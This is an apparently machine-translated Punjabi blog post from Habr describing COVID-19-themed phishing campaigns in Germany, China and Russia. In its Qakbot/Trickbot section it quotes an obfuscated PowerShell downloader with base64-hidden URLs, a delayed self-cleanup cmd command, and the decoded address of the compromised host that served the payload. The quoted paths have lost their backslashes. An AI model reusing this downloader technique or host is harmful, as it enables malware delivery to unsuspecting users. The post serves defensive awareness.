ਕੋਰੋਨਾਵਾਇਰਸ ਸਾਈਬਰ ਹਮਲੇ: ਸਾਰਾ ਬਿੰਦੂ ਸੋਸ਼ਲ ਇੰਜੀਨੀਅਰਿੰਗ ਵਿੱਚ ਹੈ

ਹਮਲਾਵਰ COVID-19 ਵਿਸ਼ੇ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਨਾ ਜਾਰੀ ਰੱਖਦੇ ਹਨ, ਉਹਨਾਂ ਉਪਭੋਗਤਾਵਾਂ ਲਈ ਵੱਧ ਤੋਂ ਵੱਧ ਖਤਰੇ ਪੈਦਾ ਕਰਦੇ ਹਨ ਜੋ ਮਹਾਂਮਾਰੀ ਨਾਲ ਸਬੰਧਤ ਹਰ ਚੀਜ਼ ਵਿੱਚ ਡੂੰਘੀ ਦਿਲਚਸਪੀ ਰੱਖਦੇ ਹਨ। IN ਆਖਰੀ ਪੋਸਟ ਅਸੀਂ ਪਹਿਲਾਂ ਹੀ ਇਸ ਬਾਰੇ ਗੱਲ ਕਰ ਚੁੱਕੇ ਹਾਂ ਕਿ ਕੋਰੋਨਵਾਇਰਸ ਦੇ ਮੱਦੇਨਜ਼ਰ ਕਿਸ ਕਿਸਮ ਦੇ ਮਾਲਵੇਅਰ ਪ੍ਰਗਟ ਹੋਏ, ਅਤੇ ਅੱਜ ਅਸੀਂ ਸੋਸ਼ਲ ਇੰਜਨੀਅਰਿੰਗ ਤਕਨੀਕਾਂ ਬਾਰੇ ਗੱਲ ਕਰਾਂਗੇ ਜੋ ਰੂਸ ਸਮੇਤ ਵੱਖ-ਵੱਖ ਦੇਸ਼ਾਂ ਦੇ ਉਪਭੋਗਤਾ ਪਹਿਲਾਂ ਹੀ ਸਾਹਮਣਾ ਕਰ ਚੁੱਕੇ ਹਨ। ਆਮ ਰੁਝਾਨ ਅਤੇ ਉਦਾਹਰਨ ਕੱਟ ਦੇ ਅਧੀਨ ਹਨ.

ਵਿੱਚ ਯਾਦ ਰੱਖੋ ਪਿਛਲੀ ਵਾਰ ਅਸੀਂ ਇਸ ਤੱਥ ਬਾਰੇ ਗੱਲ ਕੀਤੀ ਕਿ ਲੋਕ ਨਾ ਸਿਰਫ ਕੋਰੋਨਵਾਇਰਸ ਅਤੇ ਮਹਾਂਮਾਰੀ ਦੇ ਕੋਰਸ ਬਾਰੇ, ਬਲਕਿ ਵਿੱਤੀ ਸਹਾਇਤਾ ਉਪਾਵਾਂ ਬਾਰੇ ਵੀ ਪੜ੍ਹਨ ਲਈ ਤਿਆਰ ਹਨ? ਇੱਥੇ ਇੱਕ ਚੰਗੀ ਮਿਸਾਲ ਹੈ. ਜਰਮਨ ਰਾਜ ਉੱਤਰੀ ਰਾਈਨ-ਵੈਸਟਫਾਲੀਆ ਜਾਂ NRW ਵਿੱਚ ਇੱਕ ਦਿਲਚਸਪ ਫਿਸ਼ਿੰਗ ਹਮਲੇ ਦੀ ਖੋਜ ਕੀਤੀ ਗਈ ਸੀ। ਹਮਲਾਵਰਾਂ ਨੇ ਆਰਥਿਕਤਾ ਮੰਤਰਾਲੇ ਦੀ ਵੈੱਬਸਾਈਟ ਦੀਆਂ ਕਾਪੀਆਂ ਬਣਾਈਆਂ (NRW ਆਰਥਿਕ ਮਾਮਲਿਆਂ ਦਾ ਮੰਤਰਾਲਾ), ਜਿੱਥੇ ਕੋਈ ਵੀ ਵਿੱਤੀ ਸਹਾਇਤਾ ਲਈ ਅਰਜ਼ੀ ਦੇ ਸਕਦਾ ਹੈ। ਅਜਿਹਾ ਪ੍ਰੋਗਰਾਮ ਅਸਲ ਵਿੱਚ ਮੌਜੂਦ ਹੈ, ਅਤੇ ਇਹ ਘੁਟਾਲੇ ਕਰਨ ਵਾਲਿਆਂ ਲਈ ਲਾਭਦਾਇਕ ਸਾਬਤ ਹੋਇਆ ਹੈ। ਆਪਣੇ ਪੀੜਤਾਂ ਦਾ ਨਿੱਜੀ ਡੇਟਾ ਪ੍ਰਾਪਤ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਉਨ੍ਹਾਂ ਨੇ ਅਸਲ ਮੰਤਰਾਲੇ ਦੀ ਵੈਬਸਾਈਟ 'ਤੇ ਅਰਜ਼ੀ ਦਿੱਤੀ, ਪਰ ਹੋਰ ਬੈਂਕ ਵੇਰਵਿਆਂ ਦਾ ਸੰਕੇਤ ਦਿੱਤਾ। ਅਧਿਕਾਰਤ ਅੰਕੜਿਆਂ ਅਨੁਸਾਰ, ਸਕੀਮ ਦਾ ਪਤਾ ਲੱਗਣ ਤੱਕ ਅਜਿਹੀਆਂ 4 ਹਜ਼ਾਰ ਫਰਜ਼ੀ ਬੇਨਤੀਆਂ ਕੀਤੀਆਂ ਗਈਆਂ ਸਨ। ਨਤੀਜੇ ਵਜੋਂ, ਪ੍ਰਭਾਵਿਤ ਨਾਗਰਿਕਾਂ ਲਈ ਤਿਆਰ ਕੀਤੇ ਗਏ $109 ਮਿਲੀਅਨ ਧੋਖੇਬਾਜ਼ਾਂ ਦੇ ਹੱਥਾਂ ਵਿੱਚ ਆ ਗਏ।

ਕੀ ਤੁਸੀਂ ਕੋਵਿਡ-19 ਲਈ ਮੁਫ਼ਤ ਟੈਸਟ ਚਾਹੁੰਦੇ ਹੋ?

ਕੋਰੋਨਵਾਇਰਸ-ਥੀਮ ਵਾਲੀ ਫਿਸ਼ਿੰਗ ਦੀ ਇਕ ਹੋਰ ਮਹੱਤਵਪੂਰਣ ਉਦਾਹਰਣ ਸੀ ਖੋਜਿਆ ਈਮੇਲਾਂ ਵਿੱਚ. ਸੁਨੇਹਿਆਂ ਨੇ ਕੋਰੋਨਵਾਇਰਸ ਦੀ ਲਾਗ ਲਈ ਮੁਫਤ ਟੈਸਟ ਕਰਵਾਉਣ ਦੀ ਪੇਸ਼ਕਸ਼ ਦੇ ਨਾਲ ਉਪਭੋਗਤਾਵਾਂ ਦਾ ਧਿਆਨ ਖਿੱਚਿਆ। ਇਹਨਾਂ ਦੇ ਮੋਹ ਵਿਚ ਅੱਖਰ ਟ੍ਰਿਕਬੋਟ/ਕਾਕਬੋਟ/ਕਿਊਬੋਟ ਦੀਆਂ ਉਦਾਹਰਣਾਂ ਸਨ। ਅਤੇ ਜਦੋਂ ਉਹ ਆਪਣੀ ਸਿਹਤ ਦੀ ਜਾਂਚ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹਨ ਤਾਂ "ਨੱਥੀ ਫਾਰਮ ਨੂੰ ਭਰਨਾ" ਸ਼ੁਰੂ ਕੀਤਾ ਗਿਆ, ਤਾਂ ਕੰਪਿਊਟਰ 'ਤੇ ਇੱਕ ਖਤਰਨਾਕ ਸਕ੍ਰਿਪਟ ਡਾਊਨਲੋਡ ਕੀਤੀ ਗਈ। ਅਤੇ ਸੈਂਡਬਾਕਸਿੰਗ ਟੈਸਟਿੰਗ ਤੋਂ ਬਚਣ ਲਈ, ਸਕ੍ਰਿਪਟ ਨੇ ਕੁਝ ਸਮੇਂ ਬਾਅਦ ਹੀ ਮੁੱਖ ਵਾਇਰਸ ਨੂੰ ਡਾਉਨਲੋਡ ਕਰਨਾ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤਾ, ਜਦੋਂ ਸੁਰੱਖਿਆ ਪ੍ਰਣਾਲੀਆਂ ਨੂੰ ਯਕੀਨ ਹੋ ਗਿਆ ਕਿ ਕੋਈ ਖਤਰਨਾਕ ਗਤੀਵਿਧੀ ਨਹੀਂ ਹੋਵੇਗੀ।

ਜ਼ਿਆਦਾਤਰ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਮੈਕਰੋ ਨੂੰ ਸਮਰੱਥ ਬਣਾਉਣ ਲਈ ਮਨਾਉਣਾ ਵੀ ਆਸਾਨ ਸੀ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਇੱਕ ਮਿਆਰੀ ਚਾਲ ਵਰਤੀ ਗਈ ਸੀ: ਪ੍ਰਸ਼ਨਾਵਲੀ ਨੂੰ ਭਰਨ ਲਈ, ਤੁਹਾਨੂੰ ਪਹਿਲਾਂ ਮੈਕਰੋ ਨੂੰ ਸਮਰੱਥ ਕਰਨ ਦੀ ਲੋੜ ਹੈ, ਜਿਸਦਾ ਮਤਲਬ ਹੈ ਕਿ ਤੁਹਾਨੂੰ ਇੱਕ VBA ਸਕ੍ਰਿਪਟ ਚਲਾਉਣ ਦੀ ਲੋੜ ਹੈ।

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਵੇਖ ਸਕਦੇ ਹੋ, VBA ਸਕ੍ਰਿਪਟ ਵਿਸ਼ੇਸ਼ ਤੌਰ 'ਤੇ ਐਂਟੀਵਾਇਰਸ ਤੋਂ ਮਾਸਕ ਕੀਤੀ ਗਈ ਹੈ.

ਵਿੰਡੋਜ਼ ਵਿੱਚ ਇੱਕ ਉਡੀਕ ਵਿਸ਼ੇਸ਼ਤਾ ਹੈ ਜਿੱਥੇ ਐਪਲੀਕੇਸ਼ਨ ਡਿਫੌਲਟ "ਹਾਂ" ਜਵਾਬ ਨੂੰ ਸਵੀਕਾਰ ਕਰਨ ਤੋਂ ਪਹਿਲਾਂ /T <ਸਕਿੰਟ> ਉਡੀਕ ਕਰਦੀ ਹੈ। ਸਾਡੇ ਕੇਸ ਵਿੱਚ, ਸਕ੍ਰਿਪਟ ਨੇ ਅਸਥਾਈ ਫਾਈਲਾਂ ਨੂੰ ਮਿਟਾਉਣ ਤੋਂ ਪਹਿਲਾਂ 65 ਸਕਿੰਟ ਉਡੀਕ ਕੀਤੀ:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

ਅਤੇ ਉਡੀਕ ਕਰਦੇ ਸਮੇਂ, ਮਾਲਵੇਅਰ ਡਾਊਨਲੋਡ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਸਦੇ ਲਈ ਇੱਕ ਵਿਸ਼ੇਸ਼ PowerShell ਸਕ੍ਰਿਪਟ ਲਾਂਚ ਕੀਤੀ ਗਈ ਸੀ:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

Base64 ਮੁੱਲ ਨੂੰ ਡੀਕੋਡ ਕਰਨ ਤੋਂ ਬਾਅਦ, PowerShell ਸਕ੍ਰਿਪਟ ਜਰਮਨੀ ਤੋਂ ਪਹਿਲਾਂ ਹੈਕ ਕੀਤੇ ਵੈੱਬ ਸਰਵਰ 'ਤੇ ਸਥਿਤ ਬੈਕਡੋਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਦੀ ਹੈ:

http://automatischer-staubsauger.com/feature/777777.png

ਅਤੇ ਇਸਨੂੰ ਨਾਮ ਹੇਠ ਸੁਰੱਖਿਅਤ ਕਰਦਾ ਹੈ:

C:UsersPublictmpdirfile1.exe

ਫੋਲਡਰ ਨੂੰ ‘C:UsersPublictmpdir’ 'tmps1.bat' ਫਾਈਲ ਨੂੰ ਚਲਾਉਣ ਵੇਲੇ ਹਟਾ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ ਜਿਸ ਵਿੱਚ ਕਮਾਂਡ ਹੁੰਦੀ ਹੈ cmd /c mkdir ""C:UsersPublictmpdir"".

ਸਰਕਾਰੀ ਏਜੰਸੀਆਂ 'ਤੇ ਨਿਸ਼ਾਨਾ ਬਣਾਇਆ

ਇਸ ਤੋਂ ਇਲਾਵਾ, FireEye ਵਿਸ਼ਲੇਸ਼ਕਾਂ ਨੇ ਹਾਲ ਹੀ ਵਿੱਚ ਵੁਹਾਨ ਵਿੱਚ ਸਰਕਾਰੀ ਢਾਂਚੇ ਦੇ ਨਾਲ-ਨਾਲ ਚੀਨੀ ਐਮਰਜੈਂਸੀ ਪ੍ਰਬੰਧਨ ਮੰਤਰਾਲੇ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਏ APT32 ਹਮਲੇ ਦੀ ਰਿਪੋਰਟ ਕੀਤੀ ਹੈ। ਵੰਡੇ ਗਏ RTF ਵਿੱਚੋਂ ਇੱਕ ਵਿੱਚ ਨਿਊਯਾਰਕ ਟਾਈਮਜ਼ ਦੇ ਇੱਕ ਲੇਖ ਦਾ ਲਿੰਕ ਸੀ ਜਿਸਦਾ ਸਿਰਲੇਖ ਹੈ ਕੋਰੋਨਾਵਾਇਰਸ ਲਾਈਵ ਅਪਡੇਟਸ: ਚੀਨ ਹੁਬੇਈ ਤੋਂ ਯਾਤਰੀਆਂ ਨੂੰ ਟਰੈਕ ਕਰ ਰਿਹਾ ਹੈ. ਹਾਲਾਂਕਿ, ਇਸ ਨੂੰ ਪੜ੍ਹਨ 'ਤੇ, ਮਾਲਵੇਅਰ ਡਾਉਨਲੋਡ ਕੀਤਾ ਗਿਆ ਸੀ (ਫਾਇਰਈ ਵਿਸ਼ਲੇਸ਼ਕਾਂ ਨੇ ਇਸ ਘਟਨਾ ਦੀ ਪਛਾਣ METALJACK ਵਜੋਂ ਕੀਤੀ ਸੀ)।

ਦਿਲਚਸਪ ਗੱਲ ਇਹ ਹੈ ਕਿ ਖੋਜ ਦੇ ਸਮੇਂ, ਵਾਇਰਸਟੋਟਲ ਦੇ ਅਨੁਸਾਰ, ਕਿਸੇ ਵੀ ਐਂਟੀਵਾਇਰਸ ਨੇ ਇਸ ਘਟਨਾ ਦਾ ਪਤਾ ਨਹੀਂ ਲਗਾਇਆ।

ਜਦੋਂ ਅਧਿਕਾਰਤ ਵੈੱਬਸਾਈਟਾਂ ਡਾਊਨ ਹੁੰਦੀਆਂ ਹਨ

ਇੱਕ ਫਿਸ਼ਿੰਗ ਹਮਲੇ ਦੀ ਸਭ ਤੋਂ ਸ਼ਾਨਦਾਰ ਉਦਾਹਰਣ ਦੂਜੇ ਦਿਨ ਹੀ ਰੂਸ ਵਿੱਚ ਵਾਪਰੀ। ਇਸ ਦਾ ਕਾਰਨ 3 ਤੋਂ 16 ਸਾਲ ਦੀ ਉਮਰ ਦੇ ਬੱਚਿਆਂ ਲਈ ਲੰਬੇ ਸਮੇਂ ਤੋਂ ਉਡੀਕੀ ਜਾ ਰਹੀ ਲਾਭ ਦੀ ਨਿਯੁਕਤੀ ਸੀ। ਜਦੋਂ 12 ਮਈ, 2020 ਨੂੰ ਅਰਜ਼ੀਆਂ ਸਵੀਕਾਰ ਕਰਨ ਦੀ ਸ਼ੁਰੂਆਤ ਦੀ ਘੋਸ਼ਣਾ ਕੀਤੀ ਗਈ ਸੀ, ਲੱਖਾਂ ਲੋਕ ਲੰਬੇ ਸਮੇਂ ਤੋਂ ਉਡੀਕੀ ਜਾ ਰਹੀ ਮਦਦ ਲਈ ਸਟੇਟ ਸਰਵਿਸਿਜ਼ ਦੀ ਵੈੱਬਸਾਈਟ 'ਤੇ ਪਹੁੰਚ ਗਏ ਅਤੇ ਪੋਰਟਲ ਨੂੰ ਪੇਸ਼ਾਵਰ DDoS ਹਮਲੇ ਤੋਂ ਮਾੜਾ ਨਹੀਂ ਲਿਆਇਆ। ਜਦੋਂ ਰਾਸ਼ਟਰਪਤੀ ਨੇ ਕਿਹਾ ਕਿ "ਸਰਕਾਰੀ ਸੇਵਾਵਾਂ ਅਰਜ਼ੀਆਂ ਦੇ ਪ੍ਰਵਾਹ ਦਾ ਮੁਕਾਬਲਾ ਨਹੀਂ ਕਰ ਸਕਦੀਆਂ," ਤਾਂ ਲੋਕਾਂ ਨੇ ਅਰਜ਼ੀਆਂ ਸਵੀਕਾਰ ਕਰਨ ਲਈ ਇੱਕ ਵਿਕਲਪਿਕ ਸਾਈਟ ਦੀ ਸ਼ੁਰੂਆਤ ਬਾਰੇ ਆਨਲਾਈਨ ਗੱਲ ਕਰਨੀ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤੀ।

ਸਮੱਸਿਆ ਇਹ ਹੈ ਕਿ ਕਈ ਸਾਈਟਾਂ ਨੇ ਇੱਕੋ ਸਮੇਂ ਕੰਮ ਕਰਨਾ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤਾ ਹੈ, ਅਤੇ ਜਦੋਂ ਕਿ ਇੱਕ, ਅਸਲ ਵਿੱਚ posobie16.gosuslugi.ru, ਅਸਲ ਵਿੱਚ ਐਪਲੀਕੇਸ਼ਨਾਂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਦੀ ਹੈ, ਹੋਰ ਦਰਜਨਾਂ ਭੋਲੇ ਉਪਭੋਗਤਾਵਾਂ ਦਾ ਨਿੱਜੀ ਡੇਟਾ ਇਕੱਤਰ ਕਰਦੇ ਹਨ.

SearchInform ਦੇ ਸਹਿਯੋਗੀਆਂ ਨੂੰ .ru ਜ਼ੋਨ ਵਿੱਚ ਲਗਭਗ 30 ਨਵੇਂ ਧੋਖੇਬਾਜ਼ ਡੋਮੇਨ ਮਿਲੇ ਹਨ। Infosecurity and Softline Company ਨੇ ਅਪ੍ਰੈਲ ਦੀ ਸ਼ੁਰੂਆਤ ਤੋਂ ਲੈ ਕੇ ਹੁਣ ਤੱਕ 70 ਤੋਂ ਵੱਧ ਇਸੇ ਤਰ੍ਹਾਂ ਦੀਆਂ ਫਰਜ਼ੀ ਸਰਕਾਰੀ ਸੇਵਾ ਵੈੱਬਸਾਈਟਾਂ ਨੂੰ ਟਰੈਕ ਕੀਤਾ ਹੈ। ਉਹਨਾਂ ਦੇ ਸਿਰਜਣਹਾਰ ਜਾਣੇ-ਪਛਾਣੇ ਚਿੰਨ੍ਹਾਂ ਦੀ ਹੇਰਾਫੇਰੀ ਕਰਦੇ ਹਨ ਅਤੇ ਗੋਸੁਸਲੁਗੀ, ਗੋਸੁਸਲੁਗੀ-16, ਵਾਈਪਲੇਟੀ, ਕੋਵਿਡ-ਵਾਈਪਲੇਟੀ, ਪੋਸੋਬੀ ਆਦਿ ਸ਼ਬਦਾਂ ਦੇ ਸੁਮੇਲ ਦੀ ਵਰਤੋਂ ਵੀ ਕਰਦੇ ਹਨ।

ਹਾਈਪ ਅਤੇ ਸੋਸ਼ਲ ਇੰਜੀਨੀਅਰਿੰਗ

ਇਹ ਸਾਰੀਆਂ ਉਦਾਹਰਣਾਂ ਸਿਰਫ ਇਸ ਗੱਲ ਦੀ ਪੁਸ਼ਟੀ ਕਰਦੀਆਂ ਹਨ ਕਿ ਹਮਲਾਵਰ ਸਫਲਤਾਪੂਰਵਕ ਕੋਰੋਨਵਾਇਰਸ ਦੇ ਵਿਸ਼ੇ ਦਾ ਮੁਦਰੀਕਰਨ ਕਰ ਰਹੇ ਹਨ। ਅਤੇ ਜਿੰਨਾ ਜ਼ਿਆਦਾ ਸਮਾਜਿਕ ਤਣਾਅ ਅਤੇ ਵਧੇਰੇ ਅਸਪਸ਼ਟ ਮੁੱਦੇ ਹੋਣਗੇ, ਘੁਟਾਲੇਬਾਜ਼ਾਂ ਨੂੰ ਮਹੱਤਵਪੂਰਨ ਡੇਟਾ ਚੋਰੀ ਕਰਨ, ਲੋਕਾਂ ਨੂੰ ਆਪਣੇ ਪੈਸੇ ਆਪਣੇ ਆਪ ਛੱਡਣ ਲਈ ਮਜ਼ਬੂਰ ਕਰਨ, ਜਾਂ ਹੋਰ ਕੰਪਿਊਟਰਾਂ ਨੂੰ ਹੈਕ ਕਰਨ ਦੀ ਜ਼ਿਆਦਾ ਸੰਭਾਵਨਾ ਹੈ।

ਅਤੇ ਇਹ ਦਿੱਤਾ ਗਿਆ ਕਿ ਮਹਾਂਮਾਰੀ ਨੇ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ ਤਿਆਰ ਨਹੀਂ ਲੋਕਾਂ ਨੂੰ ਘਰ ਤੋਂ ਵੱਡੇ ਪੱਧਰ 'ਤੇ ਕੰਮ ਕਰਨ ਲਈ ਮਜਬੂਰ ਕੀਤਾ ਹੈ, ਨਾ ਸਿਰਫ ਨਿੱਜੀ, ਬਲਕਿ ਕਾਰਪੋਰੇਟ ਡੇਟਾ ਵੀ ਜੋਖਮ ਵਿੱਚ ਹੈ। ਉਦਾਹਰਨ ਲਈ, ਹਾਲ ਹੀ ਵਿੱਚ Microsoft 365 (ਪਹਿਲਾਂ Office 365) ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਵੀ ਫਿਸ਼ਿੰਗ ਹਮਲੇ ਦਾ ਸ਼ਿਕਾਰ ਹੋਣਾ ਪਿਆ। ਲੋਕਾਂ ਨੂੰ ਚਿੱਠੀਆਂ ਦੇ ਅਟੈਚਮੈਂਟ ਵਜੋਂ ਵੱਡੇ "ਖੁੰਝੇ" ਵੌਇਸ ਸੁਨੇਹੇ ਪ੍ਰਾਪਤ ਹੋਏ। ਹਾਲਾਂਕਿ, ਫਾਈਲਾਂ ਅਸਲ ਵਿੱਚ ਇੱਕ HTML ਪੰਨਾ ਸੀ ਜਿਸਨੇ ਹਮਲੇ ਦੇ ਪੀੜਤਾਂ ਨੂੰ ਭੇਜਿਆ ਸੀ ਜਾਅਲੀ Microsoft 365 ਸਾਈਨ-ਇਨ ਪੰਨਾ. ਨਤੀਜੇ ਵਜੋਂ, ਖਾਤੇ ਤੋਂ ਸਾਰੇ ਡੇਟਾ ਦੀ ਪਹੁੰਚ ਅਤੇ ਸਮਝੌਤਾ ਗੁਆਉਣਾ।

ਸਰੋਤ: www.habr.com